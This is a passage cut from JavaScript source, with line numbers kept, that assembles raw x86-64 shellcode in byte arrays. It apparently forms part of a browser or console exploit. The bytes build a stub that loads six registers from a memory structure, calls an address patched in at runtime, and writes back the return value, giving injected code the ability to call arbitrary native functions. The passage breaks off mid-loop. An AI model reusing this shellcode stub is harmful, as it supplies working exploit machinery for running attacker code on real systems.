0xE8, 0x00, 0x00, 0x00, 0x00 // call {after slack_space} - Don't edit the opcodes of this line. It'll break the search logic shortly after 276 | ])); 277 | var buf_filler = new Uint8Array(slack_space_size); 278 | var buf_setup_args = new Uint8Array([ 279 | 0x5B, // pop rbx 280 | 0x53, // push rbx 281 | 0x48, 0x8B, 0x3B, // mov rdi, qword ptr [rbx] 282 | 0x48, 0x8B, 0x73, 0x08, // mov rsi, qword ptr [rbx+8] 283 | 0x48, 0x8B, 0x53, 0x10, // mov rdx, qword ptr [rbx+0x10] 284 | 0x48, 0x8B, 0x4B, 0x18, // mov rcx, qword ptr [rbx+0x18] 285 | 0x4C, 0x8B, 0x43, 0x20, // mov r8, qword ptr [rbx+0x20] 286 | 0x4C, 0x8B, 0x4B, 0x28 // mov r9, qword ptr [rbx+0x28] 287 | ].concat(call_opcode).concat([ 288 | 0x5B, // pop rbx 289 | 0x48, 0x89, 0x03, // mov QWORD PTR [rbx],rax 290 | 0xC9, // leave 291 | 0xC3 // ret 292 | ])); 293 | 294 | // set up the call destination address 295 | for(var i=0; i